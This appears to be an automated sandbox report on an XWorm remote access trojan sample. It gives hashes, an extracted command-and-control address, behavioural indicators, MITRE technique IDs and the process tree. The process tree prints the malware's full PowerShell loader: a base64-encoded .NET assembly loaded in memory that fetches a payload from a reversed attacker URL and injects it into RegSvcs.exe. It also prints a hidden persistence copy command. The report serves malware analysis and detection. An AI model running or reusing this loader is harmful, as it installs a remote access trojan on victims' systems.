xworm | 84bf179cf928c716bf6f7b0aad97772a56159abdc39e8ba8c4993cf5c45e457e

General

Target

a.vbs
Size

146KB
MD5

dbaafddd62e8880e074d25d56f1b8eeb
SHA1

74133271577329144562f9cdc50c8b1698b401b7
SHA256

84bf179cf928c716bf6f7b0aad97772a56159abdc39e8ba8c4993cf5c45e457e
SHA512

a63155cd4f85d30a304c2a908d0725246d276fd87ca46654409c2546513231de1ded7a04c26edcfca6481a5cda1ab37a6956a17beeb16e949dcd839a486b6a66
SSDEEP

1536:j89r/aDcWJwG0mtvR/Eg5dfT1Ph+9PEa6UJCw4GEMofk0i:Ktci

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

C2

212.87.204.124:5555

Mutex

BtADXFpcTwggF8mG

Attributes

install_file
USB.exe

aes.plain

Signatures

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2044 set thread context of 4612	2044	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2216	powershell.exe
2216	powershell.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe
4612	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	4612	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4612	RegSvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 368 wrote to memory of 2044	368	WScript.exe	85
PID 368 wrote to memory of 2044	368	WScript.exe	85
PID 2044 wrote to memory of 2216	2044	powershell.exe	88
PID 2044 wrote to memory of 2216	2044	powershell.exe	88
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90
PID 2044 wrote to memory of 4612	2044	powershell.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = 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');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('fdp.tnemucod/tem/421.402.78.212//:ptth'))
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2216
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c92a19e2aa3d54fd422b3ecec69bde47

SHA1
6d4c693a2a4d72f3c41b08c04975922e4cf7b0e9

SHA256
9c0055938648d76251bfef67d44ac0e165a019ed030c0340a260b6b36d4a3f60

SHA512
e2d4fc1a78faee4f00ba17d502e447b5c7237ebd25f2863b4358b591db05071211118fa44c196d6e0a86633904e6d61daa2645b52cb901755b5ea8b2c079f887

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04tuz1sy.dw3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2044-145-0x0000020E2C5E0000-0x0000020E2C5F0000-memory.dmp

Filesize
64KB

Download
memory/2044-146-0x0000020E2C5E0000-0x0000020E2C5F0000-memory.dmp

Filesize
64KB

Download
memory/2044-140-0x0000020E2C590000-0x0000020E2C5B2000-memory.dmp

Filesize
136KB

Download
memory/2216-162-0x000002045CC80000-0x000002045CC90000-memory.dmp

Filesize
64KB

Download
memory/2216-160-0x000002045CC80000-0x000002045CC90000-memory.dmp

Filesize
64KB

Download
memory/2216-165-0x000002045CC80000-0x000002045CC90000-memory.dmp

Filesize
64KB

Download
memory/4612-156-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4612-167-0x0000000005240000-0x00000000052DC000-memory.dmp

Filesize
624KB

Download
memory/4612-168-0x0000000005A40000-0x0000000005FE4000-memory.dmp

Filesize
5.6MB

Download
memory/4612-169-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/4612-170-0x0000000005710000-0x00000000057A2000-memory.dmp

Filesize
584KB

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memory/4612-171-0x0000000005480000-0x0000000005490000-memory.dmp

Filesize
64KB

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memory/4612-172-0x00000000056F0000-0x00000000056FA000-memory.dmp

Filesize
40KB

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memory/4612-173-0x0000000005480000-0x0000000005490000-memory.dmp

Filesize
64KB

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